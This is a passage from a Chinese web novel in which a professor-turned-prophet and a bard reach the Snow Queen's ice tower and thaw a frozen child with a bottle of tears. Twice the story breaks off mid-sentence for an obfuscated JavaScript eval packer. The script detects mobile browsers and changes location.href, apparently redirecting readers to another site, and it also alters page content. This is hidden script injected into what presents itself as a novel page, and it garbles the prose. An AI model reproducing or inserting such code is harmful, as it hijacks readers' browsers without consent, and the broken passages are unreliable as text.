哦,原来是造物主的宠儿啊,不知道的还以为是作者特意选出的随叫随到全年无休无五险一金无工资无食宿无志愿时长还要自费上班的天选打工人呢。 “您的眼神似乎充满怨念。”女人若有所思地说道,“是因为先知的工作很糟吗?” “事实上,非常糟。” 夏章雾说:“但这不重要。” 说这话时他想到了很多死去的人,还有自己莫名其妙被孩子们缠上的倒霉经历,自己夜路走多了后撞见的那个名叫“费xxx”的鬼,那群总是喜欢给自己造谣生非的读者,以及总是在和自己吵架路上的作者…… 有那么一瞬间,他很想叹气。 但夏章雾没有。 他只是抱着笔记本,看向窗外那座分外显眼的高塔,开口问道:“所以,您知道什么有关冰雪女王的事吗?您应该是距离她最近的人类了,我想知道有关她更多的信息。” 拉普兰女人眨了下眼睛。 “最近的人类?不,我可不是。” 她指了指玻璃窗的外面。 “看到那座塔了吗?塔上面生活的不仅仅是冰雪女王,还有一群孩子。他们的心已经和冰块一样冷,但他们没有真的变成冰块。” 女人说:“那才是距离她最近的人。” 71.夏某已经明白了一切 窗户外面,金黄的狮鹫还在雪地里面滚来滚去。它似乎被解放出了什么很喜欢玩雪的了不得天性,在里面肆无忌惮地扑扇着翅膀,追着雪球到处玩。 时不时,这只长了翅膀的大猫还会用嘴巴碰碰雪,结果总是被冷得浑身打一个激灵,从头到尾都要用力地摇晃一番,这才能抖落这些雪花带来的冷意。 “哦,它真的很可爱。” 斯库德已经完全缓过来了,他看着外面精力充沛的狮鹫,忍不住嘟嚷道:“我真的很想为它取一个名字。” “如果你为它取名,那么你要对它负责。因为你们之间已经签订了神圣的姓名之约,在更古早的时代里,幽灵和魔鬼会被名字赋予形状,从而自由地在人间来去。” 拉普兰女人用缓慢的语调说。 她点燃了壁炉,然后转身开始熬制今天晚饭的汤。 女巫有自己的熬汤方法:她往装满水的锅里面丢进去大把大把的香草,再往后是一根鹿腿、一块牛肋眼、一根羊排、一只野鸡、一只兔子和一条蛇。 等这些多得可怕的材料丢完后,她开始往里面扔同样数量繁多的蔬菜和水果,再用长长的勺子在锅里搅来搅去。 看上去像是在煮魔药,但浓郁的香气能让你意识到她真的是在煮汤。于是整个房间都被飘来飘去的白色烟雾搞得香喷喷,暖烘烘的。 “那我还是算了吧。我可没有办法负担起一只狮鹫的吃喝。” 斯库德很认真地想了想,最后可能是这股味道让他的肚子饿了,他摸了摸自己的小腹,十分谨慎地熄灭了自己想要养动物的冲动。 他说:“而且我想我的儿子不会喜欢它的,他喜欢的动物应该是小猫小狗这样的类型。狮鹫或许还是太大了。” 这话说得相当笃定,就像他从来都没有考虑过夏章雾失败的问题。正在翻看自己笔记本的夏章雾抬起头,用无奈的目光看了眼对方。 吟游诗人的这个态度总让他想到自己那些蠢得可怕的学生。 明明已经被他坑了不止一次,但遇到危险还是和小鸡仔一样往他身后钻,还会露出那种“您一定会帮我们”的可怜表情,让夏章雾感觉自己是在重温童年的老鹰捉小鸡。 不过……虽说斯库德已经有了儿子,但考虑到中世纪人的结婚生子速度,他的年龄还真不一定有自己手下那些蠢得要命的延毕傻瓜要大。 “也许你的儿子那时候只是没见到狮鹫。” 夏章雾暂时放下了乱七八糟的思绪,望了眼外面,随口吐槽道:“要是他看到这个大家伙,说不定也会很喜欢。” “诶诶诶?” 既然天使都这么说了,吟游诗人自然进入了纠结的阶段:“真的会出现这种情况吗……可是狮鹫明明还是很吓人的吧。” 拉普兰女人似乎发出了低低的笑声。 她把汤锅的盖子放上。 汤继续熬煮着,肉类浓郁的香味飘荡。 夏章雾的脸上也多了几分笑意。他继续低头看着读者们在笔记本里的叽叽喳喳,这算是这个冬季里为数不多能让人拥有好心情的事情。 虽然读者带来的好心情总是很短暂就是了。 「桉莉斯: 爆炸:你不知道的救世主二三事(二)《救世主的神秘物种与黑白羽翼》见过救世主的人都说救世主的物种存疑,似乎并非人子……」 夏章雾缓缓地虚起眼睛。 呵呵,又是你,爱丽丝。可恶,整个评论区里最不当人子的分明就是你吧。 他毫不客气地翻过这一页模仿三流新闻的虚假谣言报告,开始在里面寻找起对现状而言比较有用的内容。 「巫渺: 1.诗人的儿子多半对应原著中的凯达,除非冰雪女王抓了不止一个小孩。2.魔镜的特性是反转,原文:善良的人被照得缺了鼻子少了眼,即使一个小小的雀斑也能照得有磨盘……」 「两袖清风: 让我来补充一下,我在网上找到的,不一定准。文中驯鹿说要到冰雪女王的宫殿里,必须先到普兰德,到普兰德后还要走一千五百多里,到一个叫芬马克的地方,冰雪女王在那里度假。城堡中的雪花卫兵是天使安琪儿打败的……」 这是在聊原著吗? 夏章雾有些好奇地读了下去,然后眉毛便不由自主地皱了起来。 这两个读者所说的内容细节中有几个非常让他在意的地方。 “首先,按照巫渺你的说法,原著中的那面镜子应该不是反转,而是无限地放大事物中缺陷与丑恶的一面。” 他沉思着缓缓说道:“创造镜子的人并非冰雪女王,而是妖魔。而镜子是在被妖魔带着飞往天堂的途中碎开的——你们意识到了吗?这个背后明显有着巴别塔的影子。妖魔想要把放大丑恶的镜子带去天堂,但受到了惩罚。于是象征灾难的碎片开始遍布世界。” “但很有趣的一点在于,原著中创造镜子的妖魔和你们口中带走孩子的冰雪女王并不是同一个角色。也就是说,这个带走孩子和散布冰块文学负面体身份既是故事里的妖魔,也是故事中的冰雪女王。” 夏章雾闭上眼睛,手指轻轻地敲击书页,说出来的话更像在给自己梳理思路。 “那么原著中就有了一个问题,男孩心中和眼中的镜子碎片明明是妖魔制造出来的,又为什么会跟冰雪女王离开?我一开始也没法理解,但两袖清风给出了答案。” 他重新睁开眼睛,露出微笑。 “冰雪皇后的皇宫大厅中有一个结冰的湖,是世界上的理智之湖,冰雪皇后可以从中看到世界上发生的所有事情。这是你告诉我的——虽然你的本意是让我小心点?谢啦。” 夏章雾笑了一声:“不过理智之湖这个名字本身就很重要。它让我意识到,冰雪女王代表的或许就是完美无瑕的理性,所以妖魔的镜子也无法照出她身上的缺点与丑陋。这就是男孩跟着她离开的原因。” 而分析到这里,冰雪女王原著想要表达的主题自然也不用多说了。杀死这次文学负面体的方式也呼之欲出。 “不过,竟然是与绝对理性有关的文学负面体吗……” 夏章雾脸上逐渐浮现出古怪的表情:“而且还是中世纪的文学负面体。” 这两个限定条件似乎有点太眼熟了。眼熟到他感觉自己前不久还听说过——这不就是某个混蛋俄罗斯侦探在青森县提到过的玩意吗! “终于想起来啦?” 作者的声音突然响起,听上去笑眯眯的,一副很欠揍的样子:“真可惜,猜对没奖励。” “呵呵。” 夏章雾顺手又给它比了根中指,然后继续看读者们的评论。 「玧末: 冰雪女王的城堡,被带走的人,眼里被泪水似火焰般融化的玻璃,被冰封的情感,你那瓶子里不会真的是眼泪吧?谁的眼泪?」 夏章雾挑了下眉:好吧,评论区的预言家小姐又在稳定发挥了。 “不过竟然都猜到这一步了,竟然还没有意识到这个瓶子到底是怎么回事啊?”他敲了敲笔记本,“这次我可不会提前揭晓答案的哦。” “人家又没有你那么多奇怪的知识点。” 作者打了个哈欠,懒洋洋地说道:“不过联系到上个文学负面体,我送你的这个瓶子是什么应该很好猜才对。毕竟我可不会附赠与任务内容无关的通关奖励。” “咕嘟咕嘟”的声音响起。 “汤煮好了。” 拉普兰女人有些愉快的声音传来,伴随着飘逸开来的更加浓郁的香气:“现在吃晚饭吧!” 夏章雾放下笔记本,斯库德也高高兴兴地跑了过来。事实证明,不管是味道还是样子,这些汤都美味极了。 三个人就围着壁炉坐着,听着屋子外面传来的呜呜风声,看着那只狮鹫终于玩累了,摇晃着长长的尾巴,在雪地里打起了盹。 雪落在狮鹫的身上,但又很快融化,只是让这只毛茸茸的庞然大物湿漉漉的。它沉重的呼噜声和风混合在一起,和雪混合在一起。 在这个中世纪极北之地的夜晚,屋子外面是狮鹫和冰雪女王的飞雪,屋子里面是女巫、吟游诗人和先知。 女巫喝着汤,在壁炉的火焰旁慢慢地讲起了冰雪女王的故事——火边永远都适合讲故事,有些故事只能在火边或者酒馆里才能被讲出口。 “在很久之前,这片土地并不是永远覆盖着冰雪。每当春天到来的时候,雪都会融化,大地的苔藓开始开花。动物们从各种人类想象不到的地方出现,白天用阳光把所有被冻得发寒的骨头烤得温暖。春天到来的标志就是太阳。” 拉普兰女人的声音很轻,就像是在唱歌: “但那一年,太阳迟迟没有出现。因为冰雪的女王架着冰鸟拉的车辇,来到了这里。她用这里的冰制造出高塔,她赶走了给这片土地带来春天的太阳,于是这里永远停留在冷酷的冬天和冷酷的夜晚。” 夏章雾看向外面。 高塔伫立在永恒的夜色下,伫立在北极星的位置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524762|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,周围所有的星星都在缓慢地围绕着北极星旋转,就像在围绕着它旋转。 “然后呢?”他问。 “然后冰雪女王继续乘着自己的车辇,在全世界旅行。她所过的地方都落满了雪,也有可能是她只在落满雪的地方出现。但有时她的车辇也会被其他地区太阳的光芒所融化,于是就时不时地有冰块掉下来。” 拉普兰女人叹了口气。她继续说:“这些冰能把事物的瑕疵成百上千地放大,但却从来都不照出美好的东西。当它们掉在地上,就变成了最可怕的镜子或者玻璃。它掉在眼睛或者心中,就会让好人变成最冷漠的人。” 那个商人应该就是这种情况。 夏章雾想:只不过他只是眼睛里落了冰块,所以一旦开始大量的流泪,那么冰块就会被冲出眼睛,甚至融化。 不过因为冰块而变得冷漠的人,应该也很难再流泪了——生理性的泪水不算。 吟游诗人低低地嘟哝了一声。他继续喝汤,不过看上去因为这个故事兴致也低了不少。 “在旅途上,我见过许多这样的人。我帮助过其中的一些,用火燃烧的草木烟雾去熏他们的眼睛,让他们的眼睛重新明亮,或者让他们去直视太阳。” 他用勺子拨弄着装满肉的汤,声音显得有些沮丧:“但很难,他们总不愿意信我的话。还有的人是天生如此,并非有冰块落进了眼睛。我不知道是该对这件事感到欣慰还是难过。” ——如果这个世界上,人类的冷漠与丑恶都是因为冰雪女王的冰块该多好啊。 那么所有人都可以安慰自己,说人类是一个充满爱的种族,只是被丑恶的东西改变了。 但很可惜,并没有这样的好事。 “人类向来非常卑劣。” 夏章雾的声音很平静,他看向面前的女人:“但他们卑劣得可爱,因此我倒是挺喜欢。请继续说下去吧,拉普兰女士。从我对付这类生物的经验来看,故事的结局还会更糟。” 文学负面体的能力是会随着时间的推移而产生突飞猛进的改变的。 人间失格在无人阻止的情况下毁灭人类社会甚至不用几年,爱丽丝漫游奇境及镜中奇遇只用几个月的时间就成长到了可以吞并现实的程度。 同理可得,这个似乎已经存在了许多个年头的“冰雪女王”即使还没有毁灭世界,也绝对不会好到哪里去。 拉普兰女人用深褐色的眼睛深深地看了他一眼,然后继续说道: “随着这些眼睛或心里进了冰块的人度过一个又一个冬天,那些冰块会变得越来越大,直到浮现在表面,把他们冻结。这些人就会变成精致的雕塑,最后在某个春季悄无声息地融化——但孩子是一个例外。 “所有眼上或者心上混入了冰块的孩子都会被冰雪女王带到自己的高塔。她夺走了他们身上的寒冷,允许这些孩子与她一同生活。直到他们某一天,冰雪女王会亲手把他们制作成城堡外新的雕塑。” 夏章雾看向了吟游诗人。 斯库德正震惊地看着拉普兰女人。 “我不知道。” 在夏章雾的面前,他的声音第一次带上了惶恐和无助:“我的儿子,凯恩被带走的那一年只有七岁。现在也已经过去七年了……我觉得这个年纪肯定不算大,对吧?” 拉普兰女人只是摇了摇头。 “没人知道冰雪女王是怎么想的。” 她说:“但我这里还有一个好消息:冰雪女王上个月就离开了,到现在也没有回来。如果你想要带回自己的儿子,现在就是最好的机会。但我想,你们应该还想杀了她。” “我就是为杀掉她而来的。” 夏章雾用坚定的语气说,他认真地看着面前的女人:“你知道能让她提前回来的方法吗?” 女人似乎犹豫了一下。 “冰雪女王和那些被冻结了心的孩子居住在一起。但在其中,也有一位她最喜欢的孩子。” 她看向高塔:“他居住在高塔的最顶端。冰雪女王曾经给了他一串铃铛,只要他摇晃铃铛,这位女王不管多远,都会回来看他。如果您能让那孩子自愿摇动铃铛,就能见到冰雪女王。” 特殊的孩子? 夏章雾挑了下眉,思考了几秒。 嗯,这里的片场叫“冰雪女王”。 ——所以那个孩子还能是谁? 当然百分之一百的概率就是安徒生。 嗯,希望这位安徒生先生……能比太宰治稍微好搞定一点吧。 72.是男人就上一百层 早上九点,芬马克的天空依旧是黑的。 这片全欧洲最北的地区的上方是无边无际的夜色,但呼啸的风雪已经渐渐平息。随着云层的逐渐散去和月亮的下沉,夜幕里硕大的星辰变得越发明显起来。 苍白的星星俯视着苍白的大地,像是一对对冰冷的眼睛。在他们的注视下,位于芬马克边缘的小屋门打开了。 两个拿着提灯的旅人从中走出来,登上狮鹫的背部。金灿灿的狮鹫开始了低空的飞行,犹如一只金色的箭矢,穿过白色的雪幕。 “嗷呜——” 来自这只古老神话的动物鸣叫声在如今空荡荡的雪原上传得很远,没有激起任何的回应。在这片严冬的死亡之地上,只有这道光芒正在不断地前行。 夏章雾抬起头,看着远方的那座高塔。 它正在以极其缓慢的速度在视野中放大,逐渐从一个容易被忽略的背景变成一个能够吸引人全部注意力的、让人不由自主在它面前屏住呼吸的庞然大物。 但那需要一段不短的时间。他们还需要好几小时才能赶到那座塔的下方。 “斯库德。” 夏章雾侧过头,看着那个似乎有些心事重重的吟游诗人,突然开口:“能讲讲你和你儿子之间的故事吗?” “啊?当然,当然可以!只是……” 斯库德·贝德尔似乎被从某段漫长的回忆中拽了出来。他看向夏章雾,忙露出一个笑容,但脸上的表情很快就变成了不好意思和羞赫。 连语气都逐渐低沉了下去。 “其实,其实我也不知道该说什么。我其实并不是什么合格的吟游诗人,而且也不擅长给人讲故事。” 他嗫嚅着说:“我和我的孩子相处的时间并不多。我的妻子难产去世后,他绝大多数时候都是在被女仆抚养……真的,我不知道我和儿子间还有什么值得拿出来,给别人说的故事。” 夏章雾轻轻地“嗯”了一声。 风在旁边发出“呼呼”的尖哨声。 斯库德还在继续说着,似乎已经完全进入了某种沮丧的情绪当中。 “然后就——我也不知道到底发生了什么,就是我有一天回去的时候,没看到他。我那天还喝了很多酒!我真是个糟糕的家伙,我当时、我当时甚至没有觉得他不在有什么不对劲,直接醉醺醺地把女仆推开,然后睡觉去了。” 说到这里书,他的话变得混乱起来,同时也开始无规律地晃动起自己的手臂,语气中透着一股不可置信的激动: “你知道吗?我竟然睡觉去了!天啊,等到第二天,我居然才发现他不见!女仆哭得比我还要伤心,因为我只是个会对着这种绝望情况发呆的蠢货……我以为他死了,于是愚蠢且浑浑噩噩地过了好几天——不过实际上我也不知道过了多久,也许得有半个月。” 夏章雾望着远方,沉默了片刻。 然后他选择继续“嗯”了一声。 “唉,不知道吗?亲爱的,你真不是个很好的聊天对象。” 画外音在他的耳边吐槽道:“你就不能让自己的台词更加丰富一点吗?现在这幅词穷的样子真的很呆,要是读者们看到,肯定会说我在对话技巧上已经黔驴技穷了。” 夏章雾幽幽地往天上看了两眼,强行忍住了自己给这家伙翻一个白眼的冲动。 “闭嘴。”他说,“至少我是个还能算得过去的倾听者,不像你那么没礼貌。” 不过考虑到这位故事主角在面对类似场合时贫瘠的语言表达能力,他也只能当个倾听者了。 好在此时的斯库德已经完全沉浸在了自己的情绪里。现在哪怕只有他一个人,他也会把自己内心隐藏了七年的情绪一股脑地吐出来。 “直到我的朋友们把我从酒馆里拖出来,我才意识到他其实只是失踪了。我还有机会……我还有机会去找到他。于是我踏上了寻找他相关信息的道路。最后有一个人告诉我,把我的儿子带走的很有可能就是居住在北方的冰雪女王。该死的女王!” 他此时的声音更接近于喃喃自语,他的手紧紧地抓着狮鹫的毛发,似乎是在用这种方式宣泄自己内心复杂的情绪。 “那大概是五年前的事情了吧。我第一次来到了这里,维京人的商队把我丢在这附近,我独自一个人往高塔的方向骑着驯鹿跑去。” 他的声音似乎都在打着颤: “好冷啊。但我还是跑到了那里。我当时已经看到小凯恩了,他和过去一模一样。我一直记得……我一直记得他的样子。但我不确定,我总是在关键时候糊涂,我当时的头很晕,我感觉四肢很冷又很热。也许只是幻觉。我想要拉住他,但大雪来了。 “我没能拉住他,他躲开了我。最后我只记得——我只记得冰雪女王趁着她的辇车从天上飞过,在天空留下闪亮的光痕。然后等我醒过来的时候,就是在拉普兰女士的房子里了。” 闪亮的光痕。 是极光吗? 夏章雾眺望着视野的尽头。 那里的天空依旧漆黑如墨,间或有冰冷的星星闪烁两下。雪已经小了很多,现在几乎只有一点点的雪花在空气中浮动。 “后来你就继续在这片土地上寻找着能够杀死冰雪女王的方法?”他问。 斯库德默默地点了点头。 “嗯,因为我以前听说这个世界上存在着许多会魔法或者天生就拥有某种能力的人。我想其中的哪个或许能够愿意和我同行。” 他过了一会儿,才轻声地说道:“或者我还能遇到其他遇到了类似不幸的人,把这个渺茫的希望带给别人。” 但结果显而易见。 也许是因为杀死冰雪女王的目标太过艰难,也许是因为这两个群体很难从人群中辨认,也许是因为没有人愿意相信这个唱歌很难听、讲故事又不怎么样的吟游诗人…… 至少在夏章雾遇见他的时候,并没有在他身边看到任何同行者。 “不过事实证明,这些努力都是值得的!” 不过说到这里,斯库德反而振作了起来。 他说:“如果我这七年来真的放弃了,就没有办法在香槟郡看到您,踏上这段旅途。现在我距离我的小凯恩只剩下最后一步,我从来都没有像现在这样满怀希望过。” 其实在第一次失败后,他就已经意识到了光靠自己的力量绝对无法带回儿子。他已经知道自己的儿子其实已经相当于死去。 他游荡了那么多年,其实也并没有真正地抱有过谁能够拯救他命运的希望。是强烈的痛苦和内疚感让他不得不继续走下去。 他只是无法接受自己选择放弃的结局。 ——而现在,尽管结局还没有确定,但希望却已经真真切切地出现了。 吟游诗人松开紧紧抓着狮鹫背部毛发的手,脸上重新出现了愉快的笑容。他看着远处已经离自己不远的高塔,自己第二次见到的高塔。 “还有,谢谢您在最后关头还愿意安慰我。” 他说:“很少有人愿意听我说这些已经过去那么多年的事情。现在我感觉好多了。” 夏章雾挑了下眉。 好吧,这个笨蛋吟游诗人竟然看出来了。他还以为对方不知道呢。 不过—— “其实我现在已经有些后悔了。” 他靠在狮鹫身上,懒洋洋地回答道:“毕竟我真的不擅长和别人聊这种事情。早知道我就应该在上个城市买一品脱的麦酒。只要在这个时候灌给你,我要操的心大概会少很多。” 斯库德笑了起来。 “酒在这种场合总是很有用。这几年来,我总是喜欢到酒馆里面喝酒。” 这位吟游诗人看向远方,用异常坚定的语气说:“不过等到小凯恩回家后,我一滴酒都不会再碰了。” 在寒风中,狮鹫发出一声长长的鸣叫。 它张开双翼,不再扇动,而是在天空中稳稳地向前滑翔。它飞行的高度也越来越低,越来越接近下方——这里已经不再是皑皑白雪,而是结冰的大地。 他们已经到了。 狮鹫降落在地面上,因为过于光滑的冰层手忙脚乱地滑行了一番,最后有些狼狈又头晕眼花地趴在了冰上,发出可怜的“呜呜”声。 就算是如此,它的庞大身躯也直到碰到冰面上的小路才止住滑动,同时还摔碎了至少几百个放在冰面上和小路边的雕像。 夏章雾先从狮鹫的上跳了下来,在没有结冰的小道上站稳,随后扶住跟着跳下的斯库德。等到这一系列事情完成后,他才转头,看向前方几乎占据了整个视野的巨大塔身。 寒风仍在呼啸。 夏章雾轻轻地呼出一口白雾,拿出之前一直放在怀里的玻璃瓶,在手中握紧。 “你在这里等着。” 他头也没回,只是对着身后的狮鹫指示道:“直到我们其中的一个回来,你才能走。如果冰雪女王到来了,你就飞上塔找我们。” “嗷呜……” 狮鹫几乎快要把脑袋埋到脖子里了,委屈巴巴地用叫声作为回答。 在他们的身边,斯库德倒是没有太在意这座巨大的塔。他之前就已经亲自到来过这里,因此没有什么特别的震撼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531233|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他格外在意的是这里的冰雕。 “这些雕塑,太像人了……” 吟游诗人用有点困惑和畏惧的语气说。他蹲下身子,先是用戴着手套的手翻动了一下被狮鹫打碎的雕像,然后就被碎块背面栩栩如生的表情吓了一跳。 那是一张年轻的脸,微微地皱着眉,似乎在表达某种疑惑的情绪。 “不,这应该就是人吧!” 斯库德用茫然的语气说,“就像是拉普兰女士说的那样,是被冰雪女王变成了冰雕的人。不过为什么,为什么这么年轻……” 与其说年轻,倒不如说这种样貌甚至有点稚气,看上去也就才十几岁出头的年纪。只是那张年轻的脸上丝毫看不出死亡的惊恐,似乎只是在某个沉思的瞬间被轻而易举地带走了生命。 夏章雾也走了过来。 他蹲下身子,查看完这些碎片,然后起身用力地按住了吟游诗人的肩膀。 “我们还没有见到凯恩。” 他冷静的语气成功地让斯库德从短暂的慌乱中回过神来:“冷静下来,这样你才能判断这些雕像里有没有他。” “我……” 斯库德张了张嘴。 “这些雕像还有救吗?”他用有些颤抖的声音问道,“天使先生,他们还能变成活人吗?也许他们还没有死,他们只是变成了冰——” 夏章雾没有说话。 他只是沉默地看着面前的人。 最后连吟游诗人都呐呐地闭上了嘴,不再继续言语,就像他也清楚自己说出口的东西不过是一厢情愿的妄想。 “很抱歉。我能把他们重新变成人,但他们肯定已经死了。”夏章雾轻声地说,“他们顶多只能以活人的身份下葬。” 作者或许是真正的神明,但他绝非是真正的天使。 他不过是一个凡人。 而且早在几个月前,夏章雾就见证了“不死”能成为多么可怕的怪物。相比较起来,一个干干净净的死亡或许是生命最后能领略到的恩赐。 斯库德低下头。 “这样啊……我,我明白了。” 他说,然后脸上露出一个勉强的笑:“不过这些事就等杀死冰雪女王后再说好了!反正我们不是要登上塔的最高层吗?如果凯恩还活着,我们肯定能够见到他的!现在的时间很重要,等到冰雪女王死后,我们再为他们入殓吧。” 也许是不想这么快就接受结果,也许是内心的希望还在,也许是别的原因。 总之在简单地看完这些已经成为冰雕的亡者之后,斯库德便继续沿着道路向前走去,脚步甚至可以说有点匆忙。 夏章雾则是跟在他的后面,无言地看着这些脸上毫无惊恐的死人,这些已经沦为冰天雪地中的一件艺术品的人类。 几十个,上千个,上万个。 密集的雕塑排布着,在冰面上看不到尽头。 “你知道吗?很久以前,我的数学老师曾经给我展示过一平方米的概念。他说,一平方米可以紧紧挨着的情况下站十六个人。” 作者的声音从遥远的虚空中传来,带着几分奇妙的回忆气息。 “你能想象吗?这样计算下来,一平方公里的土地就能站一千六百万人。在世界地图上随便找一个能看到名字的岛屿,你都可以把全球的人口都塞进去。” 人类是一种多么自以为了不起的生物啊。因此你总是很难想象他们被密密麻麻挤在一起的样子竟然那么小。 ——也很难让亲眼见到这一幕的人想象这片冰上有多少已经死去了的人。 夏章雾短暂地闭了几秒眼睛,重新睁开。 他不再计数,而是迈步向前。 就在弯弯曲曲地走了几百米后,两个人沉默的行程在终于停下。 他们已经到了。 在他们的面前不足十米的地方,就是冰雪女王的城堡。他们就在这座塔的大门前。 一座洁白的、美丽的、仿佛在发光的、再挑剔的人也无法指出其中瑕疵的巨大高塔。 生物有着敬畏巨大之物的本能。增大体积总是制造奇观最容易的方式。 现在他们面前的便是这座冰霜塑造的奇观。来自文学负面体的力量以某种冰冷而又极度精确的结构铸造了这座可以蔓延几百里、甚至几千上万里的冰雪高塔。 让人想到了科幻故事里才会有的太空电梯。 ——这座塔也会通向宇宙吗? 在登上塔前,夏章雾不知道答案。 所以他只是走上前,推开了无声的大门。 “走吧。”他说。 73.前 有 绝 境 在踏入这座高塔的大门后,心中浮现的第一个感觉大概就是寒冷。 夏章雾抬眸望去。 这里的一切都是由冰雪塑造的。这里的吊灯折射着光滑冰面冷淡的光芒。在这个空荡荡的塔中没有属于人与生活的气息,只是一个冰雪搭建的巨大平台。 上面陈列着各样冰块制作的装饰品。各种各样的生物仿佛被凝固在了生前的某一刻,栩栩如生地暂停在了冰蓝与苍白混合的大厅中。 但它们都没有中央的那件东西醒目。 那是一道螺旋上升的冰蓝色楼梯。 它以完美的斐波那契螺旋线贯通了这一层与上一层,它的扶手上面凝结着霜雪。某种苍白的光芒从更高处直直地落在它的身上,在那些造型优美冰锥上折射出甚至有点绚烂的光芒。 神圣又冰冷,但是…… 来自未来的先知收回自己的视线。 “还没我的家可爱。”他自言自语地嘟哝道。 他才不会羡慕这样的地方。 至少他家里还有两只蝙蝠,一只猫头鹰,三条蜥蜴,两条蛇和数量成谜的老鼠——因为它们经常被捕猎失败的猫头鹰当后备粮抓走,数量长期处于变化的状态——不像这里。 这里只有冰。 以及快要变成冰的人。 夏章雾轻轻地叹了口气。他看向雕像群中那个极其不容易被分辨出来的、正在轻轻敲击着一块坚冰的孩子,还有正在笨拙地尝试和这个孩子搭话的吟游诗人。 他握紧了手中的瓶子,走了过去。 吟游诗人肯定已经说了好几句话,但是那个孩子依旧在专心致志地用凿子敲着面前那块或许比他还要高一点的冰块,小心翼翼地剥下一块块的碎片,让面前已经有了大致雏形的东西变得更加细节和具体。 他似乎正在雕刻一片雪花。 少年的脸上只有专心致志的表情,似乎把外界的一切都抛在了脑后。 “这些都是你雕刻的吗?” 斯库德有些紧张不安地问。 但那孩子依旧像是什么都没有听见,只是继续敲着自己的冰块。直到他不小心在雪花的边缘多敲掉了一块碎冰,这才停下来。 “它们很丑。我雕刻出来的东西都很丑,因为这些生物本来就不是美的。” 那孩子用平静的目光看向他:“那只兔子的腿长得完全不遵守比例的美感。那种白狐狸的耳朵短得很不匹配它长长的嘴与流线型的身躯。玫瑰总是花瓣长得太臃肿。只有雪花身上一点错误都没有,但我雕刻不好雪花。” 可怜的斯库德似乎更加手足无措了。 就在这个倒霉的家伙思考起自己是不是该换个话题的时候,夏章雾轻轻地拍了拍他的肩膀,然后把一个散发着源源不绝热量的玻璃瓶塞到了他的手里。 “把里面的泪水滴在他的胸口,然后滴在他的眼睛上。”他说。 然后夏章雾便后退一步,把接下来的事情都交给了面前的吟游诗人。 这个瓶子就是他解决上次的文学负面体后,从作者那里赢得的奖品。 正如在解决了可以把人变为怪物的“人间失格”后,他便得到了可以让自己身上多出非人特征的能力。在杀死了与死亡息息相关的“爱丽丝漫游奇境及镜中奇遇”后,他便得到了这个积蓄着无数泪水的泪瓶。 泪瓶。 这是维多利亚时期不列颠古怪的风俗之一:人们在葬礼上落下的泪水,会被用装饰精美的瓶子仔细地装好,放置在逝者亲属的家中。等到泪水在瓶中彻底蒸发,哀悼也就此结束。 这么想来,那个已经被毁掉的八音盒应该会很喜欢这种瓶子。因为它代表了一件事:就算再浓郁的悲伤和再多的泪水,也总有被时间彻底磨灭的那一天。 ——而到那时,谁又能看出那个空空的玻璃瓶,其实原来是承载着痛苦与思念的泪瓶呢? “但从另一个角度来看,至少在此刻,那些泪水和泪水中的感情是真实不虚的。” 夏章雾对作者轻声地说道。 他注视着面前被吟游诗人抱在怀里的孩子:被滴在孩子胸口的泪水冒出缕缕的白烟,最后渗入他的肌肤。 而那个被抱住的孩子全程都茫然地看着面前的吟游诗人,冻结住他心脏的冰开始融化了。而当眼泪被滴在他的眼睛上时,他终于开始哭泣。 “这里好冷!” 他呜呜地哭着,滚烫眼泪落在他刚刚还在雕刻的冰块上,把冰都给融化了,就像是从雕像重新变成了一个活人:“爸爸妈妈——” “诶诶诶?”斯库德慌忙地伸出手,把这个孩子紧紧地抱在怀里,不知道该干什么事情才好,“你冷的话,你要是冷就……” 夏章雾稍稍挪开了视线。 啊,这种方法果然有用。 终于躲开了一回安慰小孩命运的主角先生很是庆幸地如是想到。 玧末在评论区猜测过,在传说和童话里,泪水能够成为解开诅咒的魔法。而他作为人类学教授,对此的了解自然比那些住在评论区里的小笨蛋们更多。 在童话里,能够完成奇迹的往往就是两样东西:牺牲和爱。 代表爱与痛苦的泪,象征恋情与爱的吻,慷慨大方的赠予,每一步宛若踩在刀尖上的痛苦,数十年如一日的缄默与忍耐…… 没有什么比牺牲更伟大,也没有什么比爱更神圣。所以这些东西便成为了故事中能够让奇迹降临的钥匙。 如果《冰雪女王》原著里的那个孩子用泪水唤醒了她的同伴,自己在香槟集市见到的冰块也可以被汹涌的泪水所带出。 那么泪瓶中积蓄着悲伤、爱与回忆的泪水自然也可以重新让雕像重新变回“人类”。 事实证明,他赌赢了。 “是,你赌赢了。就像是我说的那样,其实你只要拿着我送给你的神奇妙妙工具,这个文学负面体真的很容易解决,对吧?” 画外音在旁边懒洋洋地说道,只是语气中还带着几分暗示色彩,似乎在催促某位主角快点为之前对它言语的怀疑而道歉。 然而夏章雾直接假装了自己听不出来。 “是挺容易的。” 他说,同时不动声色地往楼梯上走了一步。 “嗯?等等。” 作者这才注意到这家伙已经不知道什么时候跑到了楼梯上,语气瞬间微妙起来:“你怎么离那孩子那么远?该不会是害怕自己被缠上吧?” 说到最后一句话的时候,它的语气明显突然兴奋了起来,切换成了看热闹的状态。 夏章雾的嘴角抽了一下。 他这才若无其事地放弃了离现场更远一些的计划,稍微站直了身体,对那边正在努力应付未成年人的吟游诗人高声说道: 